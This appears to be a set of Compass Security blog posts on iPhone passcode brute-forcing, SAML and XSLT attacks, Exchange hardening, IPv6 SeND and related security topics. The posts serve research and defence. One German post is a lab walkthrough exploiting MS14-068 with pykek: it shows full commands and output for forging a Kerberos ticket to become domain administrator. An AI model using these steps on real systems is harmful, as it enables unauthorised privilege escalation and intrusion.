IP-Box – Why a 4 digit passcode is still a bad idea

Up to the iPhone 4, 4 digit passcodes could be brute-forced within a short amount of time – maximum 30 minutes, depending on the passcode. With the iPhone 4s, the Boot ROM vulnerability required to upload a custom RAM disk has been closed thus rendering newer phones immune to this attack.

This is where the IP-Box comes in. The IP-Box is small box which can be ordered with various adapters for iPhones up to the iPhone 6 (Plus). The device is powered by the iPhone battery and has a light sensor to detect if the iPhone has been unlocked. The box comes at a price tag of around CHF 250, including the iOS8 adapter.

While there is only sparse documentation available for the box itself – most of it being in Chinese – Detective Cindy Murphy from the Madison Police Department created a manual which serves as an excellent starting point (iP-BOX: Breaking Simple Pass Codes on iOS Devices).

There are several modes of operation for brute-forcing the passcode. Besides the obvious sequential counting from 0000 to 9999 or from 9999 to 0000, the software allows for different pattern-based attacks – i.e. birth dates, patterns or ordered lists – slashing the time needed to crack the code.

Compass Security ordered the Box and tested if it lives up to its expectations. The hardest part of cracking the passcode was actually opening our test devices where the iPhone 5 actually resulted in a broken suction cup.

The first test subject was an iPhone 4 running iOS 7.1.3. For iOS 7 the device luckily does not need to be opened, the IP-Box and its light sensor can be attached and the device is ready to get pwned. The passcode can even be cracked if the phone is in the disabled mode. This state normally would no longer allow manually entering passcodes and requires the iPhone to be connected to iTunes to get it back to a working state.

We set the “Each group of data interval (ms)” to 4500 while leaving the “Stop while the brightness changes” and “Each time interval bit (ms)” at their respective default settings. We found that faster passcode guessing rates lead to unsuccessful passcode tries. With the above settings the box managed to enter 1 passcode per 6 seconds which means that in the worst case, cracking a 4 digit passcode would take about a day on an iOS 7 device.

As our video shows, the IP Box was not overly impressed with the fact that the iPhone 4 was disabled.

The second and third test subjects were an iPhone 4s and an iPhone 5 each running iOS 8.1. This is the last version currently supported by the IP Box. With iOS 8 a special adapter is needed and the device needs to be opened in order to disconnect the iPhone’s battery and connecting the IP-Box directly to the power connector of the device. This setup allows the IP Box to aggressively cut the power supply, preventing the iPhone from increasing the counter on failed passcode attempts.

Since the iPhone restarts after every passcode guessing attempt, in addition to the parameters used on the iOS 7 device, a startup power delay needs to be configured. In our tests we chose a delay of 15 seconds, but the delay could be decreased to 7-8 s, since the IP Box is only powered on, when the iPhone is running again.

The time required per passcode try largely depends on the time the iPhone takes to restart. We determined the startup times of the different devices as follows:

  • iPhone 4s: 48s
  • iPhone 5: 29s
  • iPhone 6: 27s

Brute-forcing a 4 digit passcode on an iOS 8 device will thus take between 3.5 and 6 days depending on the hardware.

The following video shows a successful passcode recovery on an iPhone 4s running iOS 8.1

Unlike iOS 7 where a phone can be disabled and the retrieval of the passcode is still possible, iOS 8 does no longer allow brute forcing the passcode on a disabled device. So make sure not to manually enter codes before unleashing the IP-Box on the iPhone.

Our tests lead to the conclusion that a 6 digit passcode already greatly improves the security of your iPhone. Running iOS 8 on a modern phone it would take about a year in the worst case to retrieve the passcode compared to the 3.5 days of the 4 digit code. If you are using a passcode with numbers and special characters while avoiding words from a dictionary or personal data such as the birth date, name, address or similar, it is currently virtually impossible to retrieve the passcode within a reasonable time frame.

This blog post resulted from internal research which has been conducted by Michael Fisler and Cyrill Bannwart in April 2015.

Hacklab Q2 – NoSQL mischief

At our reoccurring Hacklab days, we at Compass get the chance to hack some stuff of our own choice together for a day. For example playing with GSM in an attempt to send fake SMS or eavesdrop on voice data, comparing Encase capabilities to Unix command line forensic tools or cloning door entry badges in an attempt to gain unauthorized access to buildings or elevators.

During the Hacklab I gathered a few colleagues to create “team NoSQL” and toyed around with some of the example applications. Our project was based on a VM with several instances of “state of the art” web technologies, most of them involving a NoSQL database.

As a first task we performed a NoSQL injection on a self-developed PHP frontend with a MongoDB backend, as discussed in Hacking NodeJS and MongoDB. Additionally we wrote a python script which extracts cleartext password from the MongoDB with a binary search algorithm using the same vulnerability.

We also spent some time analyzing and exploiting race conditions in web applications, as for example described in Race Conditions on Facebook  and Hacking Starbucks for unlimited coffee. Using just the Linux command line, it was possible to generate arbitrary amount of money in a mockup Bitcoin website by sending a large amount of HTTP requests in parallel.

The slides of our presentation and the MongoDB bruteforcer script can be downloaded here:

SAML Burp Extension

SAML [3] is a standard, which is widely used to deploy Single Sign-On and federation identity solutions. SAML is based on the XML technology, using XML Signatures and X.509 certificates.

Manual testing for SAML vulnerabilities is time consuming and error prone. For example, because a SAML message is only valid for a predefined period of time, the penetration tester potentially needs to be able to manipulate SAML messages within a short time. This is a factor which increases the chance of errors.

Therefore students of the University of Applied Sciences Rapperswil, Switzerland [6] developed an extension [2] for the Burp Suite [1] in collaboration with Compass Security. This extension automates most of the steps, which are necessary to test a SAML environment.
The extension, called “SAML Raider”, supports the penetration tester with the following tasks:

  • “Clone” a certificate, i.e. all fields are copied but a random new key-pair is generated.
  • Edit certificates and sign them with the arbitrary generated key-pair or with valid keys
  • Encode and decode SAML messages
  • Display SAML messages with syntax highlighting
  • Edit SAML messages manually
  • (Re-)sign SAML messages and assertions
  • Remove signatures
  • Perform XML Signature Wrapping (XSW) attacks

The extension intercepts the POST message with the SAML Assertion, which is received from the Identity Provider (IdP) and is sent from the browser to the Service Provider (SP). The point of manipulation is illustrated in the following flow graph with the red field “Manipulate”.

Point of manipulation in the data-flow.

Point of manipulation in the data-flow.

The following example case illustrates a possible attack, which could be executed with “SAML Raider”. At Hacking-Lab [7] subscribers and license holders can test this vulnerability riskless in a secured environment.

  1. An attacker can log in as an ordinary user to an Identity Provider and intercepts the SAML assertion before it is sent to the Service Provider.
  2. The attacker now extracts the embedded x509 certificate and clones it.
  3. The attacker changes the user group which is included in the SAML Assertion to administrators.
  4. The attacker signs the assertion with the cloned certificate and embeds the cloned certificate in the assertion.
  5. The attacker sends the manipulated SAML message to the Service Provider.
  6. The Service Provider wrongly acknowledges the embedded cloned certificate as valid and validates the signature with the wrong certificate.
  7. The attacker is now logged in as an administrator.

SAML Raider supports the penetration tester in testing SAML Environments with Burp.

There is another Burp extension [4] of the Ruhr University Bochum, which displays Single Sign-On messages and allows to manually edit SAML messages.
At Black Hat 2015 a tool called “samlyze” is announced. Its goal is to pentest SAML service providers fast and easy [5]. We are looking forward and really hope samlyze supplements this extension with one or the other feature.


[1] http://portswigger.net/
[2] https://github.com/SAMLRaider/SAMLRaider
[3] https://www.oasis-open.org/standards#samlv2.0
[4] https://github.com/RUB-NDS/BurpSSOExtension
[5] https://www.blackhat.com/us-15/arsenal.html#samlyze
[6] http://www.hsr.ch/
[7] https://www.hacking-lab.com/

Netzwerktraffic und APT Analyse

Compass Security wird vermehrt von Kunden bzgl. Verdacht auf Advanced Persistent Threat (APT) kontaktiert. Unter die Bezeichnung “APT” fallen komplexe, zielgerichtete und äusserst effektive Angriffe auf kritische und zuweilen gar unternehmenswichtige Computersysteme bzw. deren gespeicherte Informationen.
Die Analyse von potentiell infiltrierten Netzen und Systemen gestaltet sich jedoch als enorm aufwändig, da Unmengen von Datensätzen und Logs ausgewertet werden müssen. Compass hat deshalb immer wieder verschiedene Aspekte im Bereich APT, Forensik und Incident Response beleuchtet. Einerseits betreiben wir Research mit internen “Hack Labs” und “Research Weeks”, wo unsere Spezialisten sich mit den neusten Erkenntnissen der Scene auseinandersetzen bzw. diese weiter treiben und andererseits bearbeitet Compass in Zusammenarbeit mit den Security Fachabteilungen einer Vielzahl von Hochschulen, entsprechende Themen.

Eine entsprechend gewürdigte Maturaarbeit aus dem letzten Sommer möchten wir der Öffentlichkeit nicht länger vorenthalten und publizieren darum die Resultate im Rahmen dieses Posts. Im Mittelpunkt des Whitepapers steht die Analyse von APT mittels Splunk, einer spezialisierten Software zur Analyse von grossen Mengen maschinengenerierter Logdaten. Es werden darin auch alternative Wege zur Auswertung eruiert und ein Standardvorgehen für APT Fälle vorgeschlagen. Das Paper greift auch das bei Compass übliche Vorgehen bei forensischen Analysen auf und gibt dem technischen Leser in gewohnter Compass manier, viele technische Details mit auf den Weg. Natürlich auch einige Ideen, wie man das Logging von bestimmten Diensten optimieren könnte.

Möchten Sie gerne mehr zum Thema wissen? Möchten Sie auch erfahren, was dies in der Praxis bedeutet? Dann können wir Ihnen unser nächstes “Hands-on Seminar” mit dem Titel: Network Analysis & Advanced Persistent Threats vom 25. und 26. August 2015 in Bern empfehlen.

In der Zwischenzeit wünschen wir Ihnen viel Spass beim Schmökern. Behalten Sie einen kühlen Kopf compass_security_schweiz_whitepaper_apt_network_analysis_w_splunk_v1.1.pdf.

Compass Security Crew,
Cyrill Brunschwiler

Presentation about Windows Phone 8.1

Earlier this month, my colleague Cyrill Bannwart and I held two Compass Security Beer Talk presentations in Bern and Jona about Windows Phone 8.1 security. The slides are now online and cover:

  • Our (unsuccessful) black box attempts to break out from a Windows perspective
  • A review of the implemented security features in Windows Phone 8.1 from a mobile perspective
  • Our findings around MDM integration, WiFi Sense and the ability to access low level storage APIs

Phone encryption using BitLocker is only possible through ActiveSync or MDM Policy. An individual will therefore not be able to encrypt his phone (unless he’s really motivated to do so).

WiFi Sense is a controversial new feature of Windows Phone 8.1, announced for the desktop version of Windows 10 as well. It allows you to automatically connect to open WiFi networks around you and may share your WiFi credentials with your Outlook.com, Skype and Facebook friends.

Finally, we were able to bypass the Isolated Storage APIs and use low level storage APIs such as CreateFile2 & CopyFile2 to read and export all files stored on the phone within C:\Windows and its sub folders. Note that we were only able to perform this attack on an unlocked device using side-loaded applications. The abundance of dumped files to analyse (over 880 MB in around 10’000 files) certainly offer further opportunities to explore this system’s security.

Further references about WP 8.1

XSLT Security and Server Side Request Forgery

Nowadays, a growing list of XSLT processors exist with the purpose of transforming XML documents to other formats such as PDF, HTML or SVG. To this end such processors typically offer a powerful set of functionalities – which, from a security point of view, can potentially pose severe risks.

Within this post, we highlight some of the threats one gets exposed when operating a misconfigured XSLT processor. The goal here is to increase people’s awareness when configuring modern XSLT processors.

Tested XSLT Processors

The subsequent table lists the XSLT processors investigated in our tests.

XSLT Processor Manufacturer License Windows Version Linux Version
libxslt Gnome Project MIT License 1.1.26 1.1.28
Saxon-HE Saxonica Limited Mozilla Public License V1.0
Saxon-EE Saxonica Limited Mozilla Public License V1.0
Xalan-J Apache Software Foundation Apache License V2.0 2.7.1 2.7.2
Xalan-C Apache Software Foundation Apache License V2.0 1.11 1.11
MSXML 4.0 Microsoft Proprietary 4.0 SP3
MSXML 6.0 Microsoft Proprietary SP2 (File Version 6.20.1099)
.NET System.xml Microsoft Proprietary 4.0.30319


We divided the security threats exposed by the XSLT processors into six categories:

  1. Information Disclosure
  2. Read Files
  3. Write Files
  4. Database Access
  5. Include External Stylesheet
  6. Code Execution

The results are summarized in following figure:

XSLT Vulnerabilities

Vulnerability Overview of Tested XSLT Processors

The above results clearly show that the great functionality of modern XSLT processors comes with a tremendous downside: If used in their default configuration, or otherwise not properly configured, XSLT processors can endanger confidentiality and integrity on XSLT servers or allow the execution of arbitrary code. Even worse, the vulnerable XSLT server might be abused to forge attacks against remote third parties, such as for instance performing anonymous port scans (see example below).

Example: Server Side Port Scanning Forgery

Here, we give a short example of how to misuse the document() function (used to access external XML documents) on a remote XSLT server to forge port scanning against an external third party. In the example, the investigated third party is located on host “example.com“, and tested against port 22 (SSH).

The attacker “Mallory“, trying to learn whether or not port 22 on “example.com” is open or closed, submits the following XSL file to a server “Alice” running a vulnerable XSLT processor.

XSLT Portscan

Port Scanning XSL File

Next, “Alice” processes the XSL file submitted by “Mallory” and as consequence tries to access the external XML resource located on “example.com“. Dependent on whether or not port 22 is open on “example.com“, a different response is sent back to “Alice“, who finally forwards the result to “Mallory“. Since the result “Mallory” receives is different for open/closed ports, she can learn the port state on “example.com“. Note that in this way “Mallory” has performed the port scan anonymously, since the only party speaking to “example.com” was “Alice“.

For the sample processor libxslt in our test set, the response received by “Mallory” might look like shown below:

Port State Response
Port Open parser error : Document is empty
Port Close (Timeout) Operation in progress I/O warning
Invalid Host No such file or directory I/O warning

In summary, “Mallory” was able to forge a port scanning request from “Alice” against “example.com“.


This blog post is based on a Seminar paper (XSLT Processing Security and Server Side Request Forgeries) written by Emanuel Duss and Roland Bischofberger, in collaboration with Compass Security Schweiz AG:

E. Duss and R. Bischofberger. “XSLT Processing Security and Server Side Request Forgeries: Analyse, Demonstration und Gegenmassnahmen“. Seminar Paper, Hochschule für Technik Rapperswil, Autumn 2014

Further Readings

Exchange 2013 – Spot the Security Features

Microsoft Exchange 2013, the newest product in the Exchange series, is more and more enrolled in enterprise environments. With the new and enhanced features, for example the integration of SharePoint or Lync, the new Exchange is a well-designed piece of software which in parallel addresses different security concerns. Like Lync 2013 and the whole Microsoft Office Suite, Exchange is available as on premise installation or as Office365 solution, even a combination of both worlds is possible. There is for example the Exchange Online Protection solution which could be combined with a on premise installation.

Exchange 2013 Workloads

Exchange 2013 Workloads

Compass Security would like to share their recent experience to enlighten some of the risks and security issues within an Exchange environment. This post is not about fuzzing or testing the product itself, it’s more about the secure configuration of the Exchange environment. The other heavy-weight product from Microsoft, the Lync 2013, was also a recent blog topic where I wrote about the security issues, the privacy configuration and the missing security features.

At least the following built-in security features are available:

  • Encryption: Transport security is enabled by default and can’t be disabled. The communication is always RPC over HTTPs (Outlook Anywhere)
  • Fine-grained role-based-access-control (RBAC) system. A similar RBAC system is also used in a Lync eco-system
  • Passive databases and lagged database copies for high availability and disaster recovery
  • Archiving and Journaling possibilities for backup and compliance requirements
  • An optional anti-spam and anti-malware detection framework built into Exchange
  • Data Loss Prevention (DLP) engine to filter sensitive information, based on pattern matching

Besides these security features, following security issues must be properly addressed:

  1. RBAC: When the RBAC system is used too loosely, too many people have too many privileges on the sensitive enterprise e-mail content. Therefore, like in Lync, the RBAC roles must be implemented with the least-privilege principle. Custom roles should be implemented for enterprise-specific requirements:

Read all roles:

Get-ManagementRoleAssignment | select roleassigneename –Unique

Read all members of all the role groups:

foreach ($rg in Get-RoleGroup) { `
  Get-RoleGroupMember –Identity $rg.Name `
    | select name,@{n="RoleGroup";e={$rg.Name}} | `
      ft -autosize }

Read members of a specific role group:

Get-RoleGroupMember "My AD Group"

List all allowed cmdlets for a specific group:

Get-ManagementRoleEntry "RoleName\*"

Or list all groups in which a specific cmdlet is allowed:

Get-ManagementRoleEntry "*\cmdlet-name"
  1. E-mail encryption: However, transport security is used within the whole Exchange environment. End-to-end encryption must be implemented with e.g. RMS (Right-Management-System) or S/MIME. The email content is not encrypted by default. Furthermore, when using Exchange Cache Mode, on every enterprise workstation a “<filename>.ost” file is stored unencrypted on the disk. This file contains the whole email and calendar and other sensitive information in a mailbox. With tools like “Kernel to PST” the .ost file could be opened and accessed as with Outlook.

Cached Exchange Mode Settings under Account Settings in Outlook:

Exchange Cached Mode

Tool to read the content of .ost files is for example “Kernel for OST to PST“.

  1. Auditing: Tracking mailbox access and configuration changes is essential for forensic analysis and security investigations. There exist the admin (RBAC) and mailbox auditing. The latter can be enabled for the owner, delegates or admins. Furthermore, the auditing can be set for different actions, e.g. move, copy, open delete.

Admin audit:

Get-AdminAuditLogConfig | fl AdminAuditLogEnabled, `
  AdminAuditLogCmdlets, AdminAuditLogParameters, LogLevel

Mailbox audit:

Get-Mailbox | select userprincipalname,auditenabled | ft –AutoSize

List all actions which are logged for a specific mailbox:

get-mailbox <username> | % { `
  "Displayname: {0}" -f $_.displayname; "AuditEnabled: {0}" `
  -f $_.auditenabled; "AuditAdmin: {0}" -f $_.auditadmin; `
  "AuditDelegate: {0}" -f $_.auditdelegate; "AuditOwner: {0}" `
  -f $_.auditowner }

Identify mailboxes which are excluded from the auditing:

Get-MailboxAuditBypassAssociation -ResultSize unlimited | ? `
  { $_.AuditBypassEnabled -match "True" }
  1. Mailbox permissions: It’s well known, that the private flag is only respected within the Exchange Eco-System (e.g. Outlook, OWA). When directly access Exchange with Exchange Web Services (EWS), private flagged items (e.g. private appointments) can be read. Therefore, the permissions for a mailbox should be set to “limited details” and for the inbox the allowed delegates must be set very rare. “Reviewer” permissions would allow access to the private appointments through EWS.
Get-MailboxFolderPermission <username>:\Calendar

Example Output:

FolderName           User                 AccessRights
----------           ----                 ------------
Calendar             All                  {LimitedDetails}

The same is used for the inbox:

Get-MailboxFolderPermission <username>:\Inbox
  1. Connector Security: Connectors are the interfaces from and to the Exchange servers. Outlook clients, IMAP/POP clients, any other SMTP server and also third-party applications like scanners or FAX devices.

List given details for all connectors

Get-ReceiveConnector | fl Name, AuthMechanism, PermissionGroups

To verify, that a connector is not used as anonymous open relay, read the extended AD permissions for a specific connector:

Get-ReceiveConnector | % `
  { $_.name; Get-ADPermission -identity $_.name -user `
  "NT AUTHORITY\ANONYMOUS LOGON" | ft extendedrights `
  -HideTableHeaders –AutoSize }

“Ms-Exch-SMTP-Accept-Any-Recipient” should not be available for any anonymous connector.

  1. OWA Offline Storage: In respect to information leakage, disabling offline storage would prevent the application from storing the following information on the client: up to 150 emails or content of last 3 days, all contacts, calendar entries for the next year but not attachments.
Get-OwaMailboxPolicy | fl AllowOfflineOn
  1. Management Interface: The new Exchange Administrative Center (EAC) is the management web application (/eac) for the Exchange. The same EAC is used by normal users to change their password or change other account settings. This leaves us in an unpleased situation where the management interface can’t be hided from the client network because both the administration and the user settings are handled with the same application.

As with Lync, the provided Exchange security mechanisms are good and give an enterprise a solid baseline for a secure email, calendar and contact manager solution. However, there are different locations which must be considered in the design and configuration phase: auditing must be enabled, custom RBAC roles should be used to limit access to sensitive mailbox content and connector security settings should be hardened to only allow authenticated users.

Thanks to Marek Madrzycki for the review and comments for this post.


IPv6 Secure Neighbor Discovery (SeND)

Finally, IPv6 is arriving… Since the IPv6 Launch Day in 2012, the number of native IPv6 users have been sextupled. In Switzerland, the IPv6 adoption rate is around 10%, which is quite impressive. In this blog post, the successor of ARP, namely the Neighbor Discovery Protocol (NDP), is introduced and its security features described. IPv4 ARP attacks are well known and documented. Similar attack vectors exist for IPv6’s NDP. To overcome these limitations, the IPv6 SeND (Secure Neighbor Discovery) was introduced back in 2005.

NDP is responsible for:

  • finding other nodes on the same network
  • providing the needed IPv6 prefix exchange mechanism
  • allowing IPv6 address auto-configurationand therefore enabling some IPv6 specific features like DAD (duplicate address detection)

NDP’s main messages are the advertisement and solicitation packets for either the router or the neighbor (host). Common attacks are spoofing (also used in IPv4, known as ARP spoofing), flooding router advertisements or denial-of-service. When a host creates his auto-generated IPv6 address, all other nodes on the same link are asked if this address is already taken. A malicious network participant could always claim he already uses this address for which a request was just sent, creating a denial-of-service condition.

SeND uses cryptographically generated addresses (CGA) based on private/public key pairs to generate IPv6 addresses. A recipient of such an IPv6 packet can verify the authenticity of the IPv6 address with the provided public key. Furthermore, SeND uses a router authorization process to identify valid router advertisements (IPv6 prefixes among other things) based on a trust anchor (e.g. a certificate authority).

Due to the design of IPv6 SeND, DoS attacks are possible because of its computational costs. Furthermore, it only makes sense to use IPv6 SeND in pure IPv6 networks. Privacy issues also exist, because the public key doesn’t change and is sent with every IPv6 SeND packet, regardless of the currently connected network.

Most vendors do not natively implement SeND in their products (e.g. Google’s Android, Apple’s IOS, *nix, Windows) for the moment. Cisco’s IOS 12.4-24(T) and Juniper JUNOS version 9.3 onwards ship with a SeND implementation. On the operating system side, experimental implementations exist for Linux and Windows. Due to this sparse support (and the requirement of running exclusively IPv6), SeND cannot be used today to secure larger environments down to the workstation or server. But SeND can be an option to secure your inter-router traffic provided your network equipment supports it.

Further details can be found in the following presentation: IPv6 Secure Neighbor Discovery.

Thanks to Mateusz Khalil and Alexandre Herzog for the review and comments for this post.


  • RFC3971: Secure Neighbor Discovery (SEND)
  • RFC3972: Cryptographically Generated Addresses (CGAs)
  • Ed Horley IPv6 Bootcamp presentation, 2014
  • http://www.cisco.com/en/US/docs/ios-xml/ios/sec_data_acl/configuration/15-2mt/ip6-send.html, «IPv6 Secure Neighbor Discovery», 2012
  • «IPv6 Security», Eric Vyncke, Cisco, 2014
  • Short summary of SeND, “IPv6 Secure Neighbor Discovery”, EPFL, Claire Musso, Syrine Boujnah, Khalil Hajji, Dec 2013

Aktuelle Security Trainings

Web Application Security Training

Die Compass Security hat im Moment im Bereich Web Security zwei Kurse ausgeschrieben. Ein Basic und ein Advanced. Unsere öffentlichen Kurse dauern jeweils 2-Tage und bestehen zur Hälfte aus praktischen Beispielen (Hands-On Lab) und zur anderen Hälfte aus Theorie. Wobei die Doing-Aufgaben in der
Regel eine Schritt-für-Schritt Anleitung sind.

Der Hacker-Angriff erfolgt zunehmend über den Browser auf Web Anwendungen. Durch die grosse Verbreitung der Web Technologie steigt der Bedarf für Sicherheit und die sichere Programmierung. Das Thema beschäftigt nicht nur E-Banking und Online Trading Anbieter, sondern auch Shops mit Kreditkarten Zahlungen, eHealth, eVoting und Anwendungen mit schützenswerten Daten. Bei diesen Seminaren erlernen Sie anhand von Theorie und praktischen Laborübungen im Hacking-Lab die OWASP TOP 10 kennen und können im Anschluss selbst Sicherheitsprobleme aufdecken, sichere Anwendungen schreiben und Security Policies verfassen.

Web Application Security Basic, 03. und 04. März 2015 in Bern (Schweiz)


Web Application Security Advanced, 05. und 06. März 2015 in Bern (Schweiz)


Die Inhalte der Kurse können wir beliebig zusammenstellen. Weitere Themen, die im Moment nicht ausgeschrieben sind, wären:

  • DOM Injections (mittlerweile eine prominente Art von XSS)
  • AngularJS Security
  • OAuth 2
  • OpenID
  • XSLT

Secure Mobile Apps, 23. und 24. März 2015 in Bern (Schweiz)

Mit der wachsenden Verbreitung von mobilen Geräten stehen diese zunehmend im Fokus von Cyber Kriminellen. Mit einem guten App Design und der richtigen Nutzung der Hersteller API sind gute und sichere Lösungen möglich! Doch wo befinden sich die typischen Sicherheitslücken? Die Compass Security AG hat eine verwundbare Training Mobile App für Android und iOS entwickelt, um die Kursteilnehmer anhand von praktischen Beispielen in das Thema „Mobile Secure App“ einzuführen und sie für Self-Assessments und Sicherheitsfragen zu sensibilisieren.

Weitere Informationen sind unter http://www.csnc.ch/de/securitytraining/secure_mobile_apps_201503_bern.html vorhanden.

Falls Sie keinen passenden Kurs gefunden haben, schauen Sie doch in Zukunft unter http://www.csnc.ch/de/securitytraining/ vorbei. Compass Security bietet regelmässig neue Trainings an.

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von https://github.com/bidord/pykek
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS):
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    |_  System time: 2014-12-07T15:07:11+01:00
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python ms14-068.py -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available


Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.


Installation des “out-of-band” Patch MS14-068


Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.


[1] http://blogs.technet.com/b/msrc/archive/2014/11/19/security-bulletin-ms14-068-released.aspx
[2] http://blog.beyondtrust.com/a-quick-look-at-ms14-068
[3] https://github.com/bidord/pykek
[4] https://www.hacking-lab.com
[5] https://twitter.com/gentilkiwi/status/540953650701828096
[6] http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx